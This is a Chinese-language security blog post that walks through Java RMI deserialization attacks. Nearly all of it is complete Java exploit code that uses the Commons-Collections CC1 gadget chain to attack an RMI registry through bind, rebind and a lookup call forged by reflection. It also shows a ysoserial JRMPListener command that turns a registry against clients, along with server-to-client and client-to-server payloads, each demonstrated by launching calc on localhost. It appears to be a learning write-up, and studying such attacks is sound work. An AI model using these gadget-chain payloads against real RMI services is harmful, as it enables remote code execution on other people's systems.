avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home Java反序列化-RMI的几种攻击方式
文章

Java反序列化-RMI的几种攻击方式

Posted 12 days ago Updated 12 days ago
By Administrator
34~44 min read

RMI的基本攻击方式

  • RMI Client打RMI Registry

  • RMI Client打RMI Server

  • RMI Client

打RMI Registry

与注册中心的交互主要是这句话

Naming.bind("rmi://127.0.0.1:1099/sayHello", new RemoteObjImpl());

这里的交互方法不只有bind,一系列的方法在RegistryImpl_Skel#dispatch

  • bind

  • list

  • lookup

  • rebind

  • unbind

list攻击

list()方法可以列出目标上所有绑定的对象,但因为此方法不能但序列化比较鸡肋


public class RegistryListAttack {
    public  static  void main(String[] args) throws Exception {
        RemoteObjlmpl remoteObj = new RemoteObjlmpl() {
            @Override
            public String sayHello(String keywords) throws RemoteException {
                return null;
            }
        };
        String[] s = Naming.list("rmi://127.0.0.1:1099");
        System.out.println(s);

    }
}

但是查看list的源码,这里只有writeObject没有 readObject,无法进行反序列化,攻击面比较窄。

bind或rebind攻击

查看bind和rebind的源码,可以看到这里是有readObject的

这里反序列化的参数是参数名和远程对象。

这里我们的exp利用cc1链写,回顾一下cc1链的内容,它最后是InvocationHandler.readObject(),所以我们要让客户端的bind()调用readObject

由于客户端收到信息的时候是一个Proxy对象,让Proxy对象被执行的时候调用readObject方法,利用Proxy的newProxyInstance()写exp

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RegistrybindAttract {
    public static void main(String[] args) throws Exception {
        Registry registry= LocateRegistry.getRegistry("127.0.0.1",1099);
        InvocationHandler handler=(InvocationHandler) CC1();
        Remote remote=Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},handler));
        registry.bind("test",remote);


    }

    public static Object CC1() throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod"
                                   , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke"
                                   , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec"
                                   , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class, transformedMap);

        return o;
    }

}

rebind的攻击同理,把bind改成rebind就行

unbind或lookup攻击

查看unbind和lookup的源码

这里lookup只传入String类型,这里我们可以通过伪造lookup连接请求进行利用,修改lookup方法使其可以传入对象,利用反射实现。


public class AttackRegistryEXP02 {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        InvocationHandler handler = (InvocationHandler) CC1();
        Remote remote = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(remote);
        ref.invoke(var2);
    }
    public static Object CC1() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value","drunkbaby");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class, transformedMap);
        return o;
    }
}

打Registry Client

注册中心攻击客户端

  • bind

  • unbind

  • rebind

  • list

  • lookup

还是这几个方法

除了unbind和rebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener,

java -cp .\ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

然后客户端访问

public class Client {
    public static void main(String[] args) throws RemoteException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        registry.list();
    }
}

服务端攻击客户端

服务端返回Object对象

  • User接口,返回的是Object对象

public interface User extends java.rmi.Remote {
    public Object getUser() throws Exception;
}
  • 服务端实现 User 接口,返回 CC1 的恶意 Object 对象

import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  

import java.io.Serializable;  
import java.lang.annotation.Retention;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.InvocationTargetException;  
import java.lang.reflect.Proxy;  
import java.rmi.RemoteException;  
import java.rmi.server.UnicastRemoteObject;  
import java.util.HashMap;  
import java.util.Map;  

public class ServerReturnObject extends UnicastRemoteObject implements User  {  
    public String name;  
    public int age;  

    public ServerReturnObject(String name, int age) throws RemoteException {  
        super();  
        this.name = name;  
        this.age = age;  
    }  

    public Object getUser() throws Exception {  

        Transformer[] transformers = new Transformer[]{  
            new ConstantTransformer(Runtime.class),  
            new InvokerTransformer("getMethod",  
                                   new Class[]{String.class, Class[].class},  
                                   new Object[]{"getRuntime",  
                                                new Class[0]}),  
            new InvokerTransformer("invoke",  
                                   new Class[]{Object.class, Object[].class},  
                                   new Object[]{null, new Object[0]}),  
            new InvokerTransformer("exec",  
                                   new Class[]{String.class},  
                                   new String[]{"calc.exe"}),  
        };  
        Transformer transformerChain = new ChainedTransformer(transformers);  
        Map innerMap = new HashMap();  
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);  

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);  
        construct.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);  
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);  
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);  


        return (Object) handler;  
    }  
}
  • 服务端将恶意对象绑定到注册中心

import java.rmi.AlreadyBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  

public class EvilClassServer {  
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {  
        User liming = new ServerReturnObject("liming",15);  
        Registry registry = LocateRegistry.createRegistry(1099);  
        registry.bind("user",liming);  

        System.out.println("registry is running...");  

        System.out.println("liming is bind in registry");  
    }  
}
  • 客户端获取对象并调用 getUser() 方法,将反序列化服务端传来的恶意远程对象。

import java.rmi.Naming;  
import java.rmi.NotBoundException;  
import java.rmi.Remote;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  

// 服务端打客户端,返回 Object 对象  
public class EvilClient {  
    public static void main(String[] args) throws Exception {  
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);  
        User user = (User)registry.lookup("user");  
        user.getUser();  
    }  
}

攻击服务端

客户端打服务端

服务端

import java.rmi.Naming;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.server.UnicastRemoteObject;  
  
public class VictimServer {  
    public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {  
        protected RemoteHelloWorld() throws RemoteException {  
            super();  
 }  
  
        public String hello() throws RemoteException {  
            System.out.println("调用了hello方法");  
 return "Hello world";  
 }  
  
        public void evil(Object obj) throws RemoteException {  
            System.out.println("调用了evil方法,传递对象为:"+obj);  
 }  
  
        @Override  
 public String sayHello(String keywords) throws RemoteException {  
            return null;  
 }  
    }  
    private void start() throws Exception {  
        RemoteHelloWorld h = new RemoteHelloWorld();  
 LocateRegistry.createRegistry(1099);  
 Naming.rebind("rmi://127.0.0.1:1099/Hello", h);  
 }  
  
    public static void main(String[] args) throws Exception {  
        new VictimServer().start();  
 }  
}

客户端、

import Server.IRemoteHelloWorld;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import Server.IRemoteHelloWorld;
 
public class RMIClient {
    public static void main(String[] args) throws Exception {
        IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
        r.evil(getpayload());
    }
 
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
 
        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
 
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
 
}
java反序列化
java反序列化
License:  CC BY 4.0
Share

Further Reading

Oct 9, 2025

Java反序列化-RMI的几种攻击方式

RMI的基本攻击方式 RMI Client打RMI Registry RMI Client打RMI Server RMI Client 打RMI Registry 与注册中心的交互主要是这句话 Naming.bind("rmi://127.0.0.1:1099/sayHello", new Remo

Sep 28, 2025

Java反序列化-RMI流程分析

概述 官方文档:https://docs.oracle.com/javase/tutorial/rmi/overview.html RMI应用程序通常由两个独立的程序组成,一个服务器和一个客户端。服务端通过绑定这个远程对象类,它可以封装网络操作。客户端层面上只需要传递一个名字,还有地址。RMI提供了

Sep 21, 2025

Shiro反序列化漏洞-Shiro550

环境搭建 tomcat8.5.81 JDK1.7下载地址 https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html 下载shrio对应的war包 https://github.com/jas502n/

OLDER

moectf2025

NEWER

xray漏扫工具

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy